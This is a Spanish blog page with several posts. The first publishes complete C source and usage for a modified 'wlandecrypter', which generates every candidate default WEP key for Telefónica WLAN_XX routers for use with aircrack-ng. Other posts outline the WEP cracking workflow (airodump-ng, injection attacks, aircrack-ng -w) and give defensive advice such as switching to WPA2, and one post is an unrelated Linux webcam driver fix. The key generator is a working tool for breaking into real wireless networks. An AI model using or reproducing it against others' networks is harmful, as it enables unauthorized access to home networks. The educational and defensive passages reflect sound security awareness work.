Linfox

Cuelgo en el blog una modificación del pequeño programa “wlandecrypter” que genera un diccionario con las posibles claves de los diferentes routers de Timofónica.
Este comprueba por mac, como el original, si esta existe (está reconocida como una de las mac que utilizan los routers de la compañía) pero a diferencia del antiguo, es que si esta no existe también te da la posibilidad, previo aviso, de poder generar un diccionario con esos valores (más que nada por si se van añadiendo nuevas marcas o nuevas mac, y estas no han sido añadidas ya en la base del programa).
La forma de lanzarlo también cambia. Con la modificación en vez de tener que escribir todo el BSSID y todo el ESSID, solo se ingresarán las partes importantes, es decir, los primeros seis caracteres de la mac y los dos últimos del ESSID.
Ejemplo, si quieres generar un diccionario para la red con las siguientes características:
BSSID : 00:13:49:E8:29:7B
ESSID: WLAN_32
El programa se lanzará:

$ m0dWlandecrypter 001349 32 diccionario

NOTA: No comprobará si los 6 primeros caracteres pertenecientes al bssid son  hexadecimales (ya lo implemento uno de estos días).

Dejo el código en cuestión:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265

/*****************************************************************************
* Fichero:                      m0dWlandecrypter.c
* Fecha:                        22-09-2009
* Autor:                        aabilio (aabilio[at]gmail[dot]com)
* 
* Es una pequeña modificación del wlandecrypter de Nilp0inteR
* 
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu 
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
* 
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*****************************************************************************/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
 
#define MAXROUTER 13
#define ULTIMO 12
 
/* Estructura Router */
typedef struct __Router {
    char bssid[7];
    char init;
    char info[20];
} _Router;
 
/* Variable global */
char hex[16]="0123456789ABCDEF";
 
/* Prototipos */
void datosRouters(_Router routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(_Router routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER], 
                    int bssidId, char *keyEnd, char *);
void bucleImprimeClaves(FILE *fichero, char , int bssidId, char *keyEnd, char *);
 
/* MAIN */
int main(int argc, char *argv[]) {
 
        int i, bssidId, validHex=0;
        char opcion;
        char endKey[2];
        _Router routers[MAXROUTER];
        FILE *fichero;
 
        fprintf(stdout, "\n====================================\n");
        fprintf(stdout, "m0dWlandecrypter - aabilio@gmail.com\n");
        fprintf(stdout, "====================================\n");
 
        if(argc<3 || argc>4) {
            muestraAyuda();
            return 1;
        }
 
        if(strlen(argv[1]) != 6 ) {
            fprintf(stderr," [-] Longitud de BSSID invalida\n");
            muestraAyuda();
            return 1;
        }
        if(strlen(argv[2]) != 2 ) {
            fprintf(stderr," [-] Longitud de ESSID invalida\n");
            muestraAyuda();
            return 1;
        }
 
        datosRouters(routers);
        bssidId=buscaBssid(routers, argv[1]);
 
        fprintf(stderr, " [+] BSSID: %s\n" 
                        " [+] Modelo: %s\n", argv[1], routers[bssidId].info);
        if(bssidId==ULTIMO) {
            strcpy(routers[ULTIMO].bssid, argv[1]);
            routers[ULTIMO].init = 'Z';
            fprintf(stderr, "   |__>> [?] Puede que no genere un buen diccionario\n");
            do {
                fprintf(stderr, "          Continuar de todas formas?? (s/n) : ");
                opcion = getchar(); getchar();
                //scanf("%c", &opcion);
                opcion = toupper(opcion);
                if (opcion == 'N')
                    return 1;
                else if (opcion == 'S')
                    break;
            } while (1);
 
        }
 
        for(i=0;i<strlen(argv[2]);i++)
            argv[2][i]=toupper(argv[2][i]);
 
        if(strlen(argv[2]) != 2 ) {
            fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
            return 1;
        } else {
            for(i=0;i<strlen(hex);i++) {
                if(argv[2][0]==hex[i]) {
                    validHex++;
                    break;
                }
            }
            for(i=0;i<strlen(hex);i++) {
                if(argv[2][1]==hex[i]) {
                    validHex++;
                    break;
                }
            }
 
            if(validHex!=2) {
                fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
                return 1;
            }
            else {
                endKey[0]=argv[2][0];
                endKey[1]=argv[2][1];
 
                fprintf(stderr," [+] ESSID: %s\n", argv[2]);
 
                if(argc>3) {// Fichero
                    fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
                    if ((fichero=fopen(argv[3], "a+")) == NULL) {
                       fprintf(stderr, " [-] Fallo al escribir en el fichero\n");
                       return 1;
                    }
 
                    imprimeClaves(fichero,routers,bssidId,endKey, argv[1]);
                    fclose(fichero);
                    fprintf(stderr, " [+] Fichero guardado\n");
                } else {
                    fprintf(stderr," [+] Seleccionada salida estandar\n");
                    imprimeClaves(stdout,routers,bssidId,endKey, argv[1]);
                }
            }
        }
        puts("");
        return 0;
}       
 
/* AYUDA */
void muestraAyuda() {
    fprintf(stderr, "\nuso: aawlandecrypter <bssid> <essid> [output file]\n"
                    "  |__<bssid> : Solo los 6 primeros caracteres del mismo sin contar ':'\n"
                    "  |__<essid> : Solo los XX de WLAN_XX\n"
                    "  |__[output file] : Archivo resultante\n\n"
                    "   Ejemplo: aawlandecrypter 001349 55 diccionario\n\n");
}
 
/* Imprime claves */
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER], 
                    int bssidId, char *keyEnd, char *bssid) {
    //int i,j,k,l;
 
    if(bssidId==ULTIMO){
        routers[bssidId].init = 'Z';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
        routers[bssidId].init = 'X';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
        routers[bssidId].init = 'C';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
    } else {
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
    }
}
/* El bucle que imprime la clave */
void bucleImprimeClaves(FILE *fichero, char init, 
                        int bssidId, char *keyEnd, char *bssid) {
    int i,j,k,l;
 
    for(i=0;i<16;i++)
        for(j=0;j<16;j++)
            for(k=0;k<16;k++)
                for(l=0;l<16;l++) {
                    fprintf(fichero, "%c%s%c%c%c%c%c%c\n"
                            , init, bssid, hex[i],hex[j],hex[k],hex[l], 
                            keyEnd[0],keyEnd[1]);
                }
}
 
/* Datos de los routers: */
void datosRouters(_Router routers[MAXROUTER]) {
        int i =0;
        // Z-com
        strcpy(routers[i].bssid,"0060B3\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"Z-com\0");
        i++;
        // Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion
        strcpy(routers[i].bssid,"00A0C5\0"); 
        routers[i].init = 'Z';
        strcpy(routers[i].info,"Zyxel 650HW/660HW\0");
        i++;
        // P-660HW-D1
        strcpy(routers[i].bssid,"001349\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"P-660HW-D1\0");
        i++;
        // Xavvy
        strcpy(routers[i].bssid,"000138\0");
        routers[i].init = 'X';
        strcpy(routers[i].info,"Xavi 7768r\0");
        i++;
        // Comtrend
        strcpy(routers[i].bssid,"0003C9\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 535\0");
        i++;
        // Comtrend NUEVO, gracias a dnreinad por el coche xD
        strcpy(routers[i].bssid,"001638\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001915\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"0030DA\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001A2B\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001D20\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
 
        // ZyGate
        strcpy(routers[i].bssid,"0002CF\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"ZyGate\0");
        i++;
        // ZyGate
        strcpy(routers[i].bssid,"0019CB\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"ZyGate\0");
        i++;
 
        strcpy(routers[ULTIMO].bssid,"000000\0");
        routers[ULTIMO].init = 'Z';
        strcpy(routers[ULTIMO].info,"Desconocido\0");
}
 
int buscaBssid(_Router routers[MAXROUTER], char *bssid) {
    int i;
 
    for(i=0;i<strlen(bssid);i++)
        bssid[i]=toupper(bssid[i]);
 
    for(i=0;i<MAXROUTER;i++) {
        if(strncmp ( routers[i].bssid, bssid, 6 ) == 0)
        return i;
    }
 
    return ULTIMO;
}

Para compilar en GNU/Linux:

$ gcc -o wlandecryter_mod m0dWlandecrypter.c

Enlace | m0dWlandecrypter.c para descargar

Compartelo

General, Internet, Software Libre, códigos, wifi, wireless

Mi problema particular: Tengo una Webcam usb integrada en el portátil (Chicony Electronics) que Debian no lograba hacer funcionar . Y también tengo una sintonizadora dvb-t TVISTO que utiliza el módulo af9015. El módulo que utiliza la Webcam es uvcvideo y tanto este como el de la sintonizadora utilizan v4l, solo que el módulo af9015 utiliza v4l experimental.

Yo ya tenía mi Webcam perfectamente instalada cuando intenté cargar el módulo de la sintonizadora. A parte de que este driver no se cargó correctamente (la versiones para este driver son aun muy verdes para GNU/Linux) la Webcam me dejó de funcionar de repente, y cuando intento volver a compilar uvcvideo e instalarlo, al cargar el módulo me dice que no lo puede cargar, veo los logs y me sale esto:

$ dmesg

uvcvideo: Unknown symbol v4l_compat_ioctl32
uvcvideo: Unknown symbol v4l_compat_translate_ioctl
uvcvideo: Unknown symbol video_devdata
uvcvideo: Unknown symbol v4l_printk_ioctl
uvcvideo: Unknown symbol video_unregister_device
uvcvideo: Unknown symbol video_device_alloc
uvcvideo: Unknown symbol video_register_device
uvcvideo: Unknown symbol video_usercopy
uvcvideo: Unknown symbol video_device_release

Aunque también te puede salir otro tipo de incompatibilidades parecidas…

Por lo visto el problema está en la forma en que código para la sintonizadora trata el fichero “Module.symvers” por el cual se presentan incompatibilidades entre los dos módulos.

Pues bien, el caso es que existe una manera para solucionar el problema de la Webcam (aunque no logré hacer funcionar mi tarjeta dvb-t, y esta solución seguramente no sea la más adecuada…) y esta puede que te funcione en un caso similar donde, a pesar de que no tengas los mismo componentes hardware, si hayas tratado con estos dos drivers.

La solución para que la Webcam vuelva a funcionar pasa por cargar el módulo “uvcvideo” con el fichero Module.symvers de “v4l experimental” que trae el código del driver de la sintonizadora.

La sintonizadora tiene que estar instalada (aunque el módulo no se cargara correctamente, lo importante es que has compilado la nueva versión de v4l) y tienes que eliminar el módulo de uvcvideo anterior:

# rmmod uvcvideo

Volver a obtener el código de uvcvideo (si no dispones de el):

$ svn checkout svn://svn.berlios.de/linux-uvc/linux-uvc/trunk

$ cd trunk

Ahora el paso importante copiar el archivo “Module.symvers” del v4l experimental a este directorio (sustituyendo el actual): El fichero del que hablo está en la ruta donde descargaste el driver de la sintonizadora, en la carpeta v4l, por lo que será algo así (cuidado con el punto final, hay que ponerlo para que copie en el directorio actual ya que suponemos que estamos en la carpeta que contiene los archivos del driver de uvcvideo):

$ cp -f dirección_del_driver/v4l/Module.symvers .

Una vez echo esto compilamos:

$ make

Instalamos:

# make install

Y cargamos el módulo:

# depmod -a

# modprobe uvcvideo

Y ahora si que debería cargar el módulo sin problemas y tu Webcam debería de volver a funcionar.

También decir que en este caso no soy capaz de hacer funcionar mi tarjeta dvb-t, pero puede que tu si y lo único que te pasara es que te haya dejado de funcionar la Webcam. Pues con esta solución se supone que podrías utilizar los dos componentes al mismo tiempo.

Compartelo

Debian, GNU/Linux, Toshiba, sintonizadora dvb-t, wifi

Siguiendo con la temática del post “Las claves WEP no son seguras” voy a publicar en esta entrada lo fácil que es descifrar la clave WEP de una red wifi.
Pongo a disposición de los lectores la información de esta entrada (en la que por otro lado no entraré en detalles) con propósitos educativos y sin más fin que el de ayudar a la gente que no conoce en profundidad el funcionamiento de una red. Esta entrada se debe de ver complementada con el post anteriormente mencionado para que todo el mundo pueda ver lo fácil que es descifrar una clave WEP y saber como solucionarlo.

Entrando en materia explicaré brevemente como funciona más o menos el procedimiento de descifrado de una clave WEP.
Generalmente son entre 3 y 4 partes diferenciadas.
Primero hay que escanear la redes posibles a las que da alcance nuestra tarjeta wireless en los diferentes canales. Con Kismet, por ejemplo, obtenemos todos los datos necesarios para empezar a obtener paquetes de una red en cuestión (BSSID, ESSID, canal…)
Lo segundo que hay que hacer es obtener un conjunto de paquetes suficiente para proceder al descifrado de la clave (para una clave de 64bits 250.000 paquetes aprox., 700.000 para una clave de 128bits). Con airodump-ng, por ejemplo, esto se hace fácilmente.
Lo tercero y opcional es lanzar un ataque para conseguir más velocidad en la recepción de paquetes (Ataques de autentificación falsa, chopchop…)
Lo cuarto y último es descifrar la clave mediante los paquetes recibidos. Con los paquetes suficiente y con, por ejemplo, aircrack-ng es cuestión de segundos.

Con este resumen podemos ver claramente que cualquier persona que se aprenda 3 comandos en cuestión de poco tiempo puede descifrar una clave WEP. Lo más difícil puede ser lograr un ataque con éxito, pero hoy en día existen scritps que hacen esto de forma automatizada, y el tiempo en la mayor parte de los casos tampoco es un problema, sin comentar ya que si la red tiene un poco de actividad ni siquiera hace falta lanzar un ataque para conseguir rápidamente un número de paquetes suficientes como para descifrar una clave WEP.

También existe el caso de las claves WEP de los router de telefónica, las redes cuyo ESSID es WLAN_XX. Si comentábamos antes que quizás lo más laborioso era concentrar un número de paquetes determinado (alto en algunos casos), con las claves por defecto de estas redes los paquetes necesarios bajan excesivamente hasta el punto de que con unos 100 paquetes nos puede llegar a ser suficientes (o menos incluso).

Esto es debido a que solo tiene que descifrar un número reducido de los 13 caracteres de la clave ya que por defecto se saben los 7 primeros y los 2 últimos. De los 7 primeros, el que comienza la clave es una letra que puede ser Z, X o C, según la marca del router (ZyXEL, Xavy o Comtrend respectivamente), los siguientes 6 serian los primeros 5 caracteres de la MAC del router. Y los 2 últimos son los dos caracteres de las XX de WLAN_XX. Todos los datos de marca de router y demás se saben con un simple escaneo de la red y el programa wlandecrypter, que además nos compone una lista de todas las claves posibles en un archivo para que sea más fácil descifrarla con aircrack-ng y su opción ‘-w’ para añadirle un diccionario de donde probar las opciones.

A todos los consejos dados en la entrada anterior, añado uno dirigido a los propietarios de las redes WLAN_XX. Por lo menos cambiarle el nombre a la red, ya que ver un WLAN_XX es invitar a todos los niñatos que se creen el mejor cracker del mundo por saber teclear 4 comandos en una terminal a violar la seguridad de vuestra clave WEP.

Por último decir que si queréis aprender el funcionamiento de las redes y ver lo fácil que puede llegar a ser para una persona normal robar la clave de una red os aconsejo el LiveCD de Wifiway que lo podéis descargar de su página web aquí. (Si alguien quiere que publique un post de como crackear una clave WEP con Wifiway que deje constancia en los comentarios y lo publicare de una manera más explicita, siempre que su intención sea la de aprender a proteger su propia red)

Compartelo

Internet, seguridad, wifi, wireless

¿Porqué las contraseñas WEP no son seguras?

Hoy en día romper con la seguridad que ofrece una contraseña WEP es casi un juego de niños. Estas contraseñas pueden ser violadas en cuestión de pocos minutos. Para explicar fácilmente el gran problema de estas claves hay que remontarse un poco a como se produce la autentificación entre un cliente y un punto de acceso, y como la wikipedia lo explica muy bien os lo pego:

Con el sistema WEP se pueden utilizar dos métodos de autentificación: mediante Sistema Abierto o mediante Clave Compartida.

En la autenticación de Sistema Abierto, el cliente WLAN no se tiene que identificar en el Punto de Acceso durante la autentificación. Así, cualquier cliente, independientemente de su clave WEP, puede verificarse en el Punto de Acceso y luego intentar conectarse. En efecto, la no autentificación (en el sentido estricto del término) ocurre. Después de que la autentificación y la asociación, el sistema WEP pueden ser usado para cifrar los paquetes de datos. En este punto, el cliente tiene que tener las claves correctas.

En la autenticación mediante Clave Compartida, WEP es usado para la autentificación. Este método se puede dividir en cuatro fases:

I) La estación cliente envía una petición de autentificación al Punto de Acceso.

II) El punto de acceso envía de vuelta un texto modelo.

III) El cliente tiene que cifrar el texto modelo usando la clave WEP ya configurada, y reenviarlo al Punto de Acceso en otra petición de autentificación.

IV) El Punto de Acceso descifra el texto codificado, y lo compara con el texto modelo que había enviado. Dependiendo el éxito de esta comparación, el Punto de Acceso envía una confirmación o una denegación. Después de que la autentificación y la asociación, WEP puede ser usado para cifrar los paquetes de datos.

Y como también explica la wikipedia:

El principal problema con la implementación del algoritmo anteriormente descrito es el tamaño de los vectores de iniciación. A pesar de que se pueden generar muchos vectores, la cantidad de tramas que pasan a través de un punto de acceso es muy grande, lo que hace que rápidamente se encuentren dos mensajes con el mismo vector de iniciación, y por lo tanto sea fácil hacerse con la clave. Por lo tanto es inseguro debido a su implementación. Aumentar los tamaños de las claves de cifrado sólo aumenta el tiempo necesario para romperlo.

De forma más cotidiana: Los paquetes cifrados que se envían, a pesar de que pueden tener varias “combinaciones” distintas, también son muchos las claves cifradas que viajan, con lo que en algunos casos coinciden en partes, por lo que mediante el uso de ciertos programas son más fáciles de desencriptar (Por favor, que los gurús de la informática me perdonen…).

Siendo tan inseguras, ¿Porqué se siguen utilizando?

Pues la respuestas es sencilla: compatibilidad con el hardware antiguo. Muchos sistemas antiguos no disponen de compatibilidad con las nuevas tecnologías como pueden ser WPA o WPA2. Por eso sigue siendo la configuración por defecto de la mayoría de los router a pesar que estos ya tengan la posibilidad de configurarlo con estándares más seguros.

¿Posibles soluciones?

Pues la verdad que seguro que tienes una solución al alcance de la mano. Seguro que el router que tienes en tu casa tiene soporte para claves WPA o incluso WPA2 y no lo sabes. Y seguro que no tienes problemas de compatibilidad con hardware que no soporte estas tecnologías (al menos que tengas una NintendoDS, o algún hijo que la tenga, y te quieras conectar a Internet a través de esta, ya que estas consolas solo aceptan redes abiertas o claves WEP).

Simplemente tendrás que entrar en la configuración de router y buscar el apartado dedicado a wireless o wifi y toquetear para dar soporte a una clave WPA, que además, si la configuras con mayúsculas y minúsculas, junto con números y algún signo, será prácticamente indescifrable.

¿Cómo entro en la configuración de mi router?

Pues tecleando en tu navegador preferido: 192.168.1.1

Seguramente se te abrirá una ventana pidiendo que introduzcas un nombre de usuario y una clave (si no tienes ni idea busca en el libro de el router las claves por defecto. Para login suele ser la palabra ‘admin’ y para la contraseña ‘1111′ o algo así, pero esto depende de marca y modelo).

Una vez dentro ya tienes que buscar un apartado llamado wireless o wifi y sistemas de encriptado.

NOTA: Si tienes contratada una ADSL de telefónica y no configuraste el router en ningún caso anterior tendrás que acceder a la configuración de tu router mediante el portal Alejandra. Además que sepas que si dispones de una red de telefónica de este tipo: WLAN_XX (donde XX son dos caracteres cualesquiera) que sepas que tu clave está más expuesta todavía a ser fácilmente violada. Más adelante, donde explicaré paso a paso cómo romper con la seguridad de una clave WEP, daré más detalles.

A parte de las contraseñas, ¿puedo proteger mi red de más maneras?

La respuesta a esta pregunta es SI. Aunque estos sistemas tampoco es que sean muy seguros (los básico de nivel usuario). Por ejemplo la mayoría de los router modernos dejan hacer un filtro según la MAC de un dispositivo.

A grandes rasgos esto significa que tu en la configuración de tu router puedes configurar una lista de macs que serán las que solo se pueden conectar a este. Y ¿Qué es una MAC? Pues quitándome trabajo recurro a la wikipedia:

En redes de computadoras la dirección MAC (Media Access Control address o dirección de control de acceso al medio) es un identificador hexadecimal de 48 bits que corresponde de forma única a una tarjeta o interfaz de red. Es individual, cada dispositivo tiene su propia dirección MAC determinada y configurada por el IEEE (los últimos 24 bits) y el fabricante (los primeros 24 bits) utilizando el OUI.

La dirección MAC es un número único de 48 bits asignado a cada tarjeta de red. Se conoce también como la dirección física en cuanto identifica dispositivos de red.

Esta acción no es más que disuasoria ante un cracker de pacotilla ya que cualquiera con un poco de conocimiento puede rastrear las MACs que están conectadas a la red y cambiar la suya por una de estas para poder conectarse a la red.

Mas cosas a nivel usuario serían, por ejemplo, desactivar el “broadcasting de SSID”, esto no es más que hacer que el nombre de tu red no esté visible a una busqueda poco exhaustiva (el lema es que si principalmente no eres visible menos ataques vas a tener). Esto lo puedes toquetear en tu router (toquetear la configuración de un router es una acción muy aconsejada para descubrir cosas y comprender un poquito mejor el funcionamiento de una red. Si las fastidias siempre lo puedes resetear).

A nivel también usuario, y siguiendo con la línea de toquetear en el router, se puede desactivar el servidor DHCP, si, este que nos da un ip local de forma totalmente automática para identificar a nuestro ordenador dentro de la red. Con esto lo que conseguimos es que no se le de acceso a peticiones extrañas que se intentan conectar a la red ya que no habrá un servidor que de forma automática les proporcione una ip, teniendo que configurar esta manualmente…

Más cosas, también seguramente tu router te permita la opción de cambiar el rango de ip que por defecto suele ser del estilo 192.168.X.X, aunque esto no merece la pena ni que te molestes en aprender a cambiarlo…

Estas sería más o menos las acciones recomendadas a un nivel usuario principiante/medio. Luego ya se podrían hacer cosas más complicadas y seguras del tipo de un tunel IPSEC o utilizar Radius, o incluso hacer que tu red funcione en canales más extraños como el 14 (que según tengo entendido no está aprobado en la UE, y no son capaces muchas tarjetas ni de rastrearlo, de ahí su eficacia para proteger redes wifi) pero esto ya es de nivel medio/avanzado y palabras mayores para cualquier propietario normal de una red wifi.

Me he leído todo el tocho y no he sacado nada en claro, ¿alguna CONCLUSIÓN?

Resumiendo. Las claves WEP no son buenas amigas. Pero pueden llegar a ser suficiente si no tienes a nadie “tocapelotas” viviendo cerca de ti.

Decir que existen dos (algunos router disponen de hasta 3) tipos de cifrado WEP, el de 64 y 128 bits (también algunos el de 256), y su máxima diferencia radica en la extensión de la contraseña, que como se dijo atrás, lo único que hace es retrasar el tiempo de ‘crackeo’ pero no por ser más larga es más segura en cuanto a algoritmo se refiere.

Consejos finales:

Si puedes utilizar WPA o WPA2 a por ello, si no, la WEP más larga a la que tengas acceso (y siempre con frases poco predecibles, aunando mayúsculas con minúsculas, números y signos)

Si puedes configurar el filtrado por MAC mejor que mejor.

Ocultar el SSID y desactivar el servidor DHCP (con lo que tendrás que configurar las conexiones a mano)

Cambiar la contraseña periódicamente.

Apagar el router cuando no estés conectado por un periodo prolongado.

Todo lo demás ya exige un conocimiento bastante avanzado en redes. Y te aseguro que con una red protegida por un WPA2 complicada puedes estar tranquilo por un tiempo, aunque todo puede ser violado, nada es infalible.

La segunda parte de esta entrada que era como violar la seguridad de una clave WEP en general, y lo fácil que es descifrar una clave WEP de las redes de Telefónica WLAN_XX la dejo para la siguiente entrada.

Compartelo

Internet, seguridad, wifi, wireless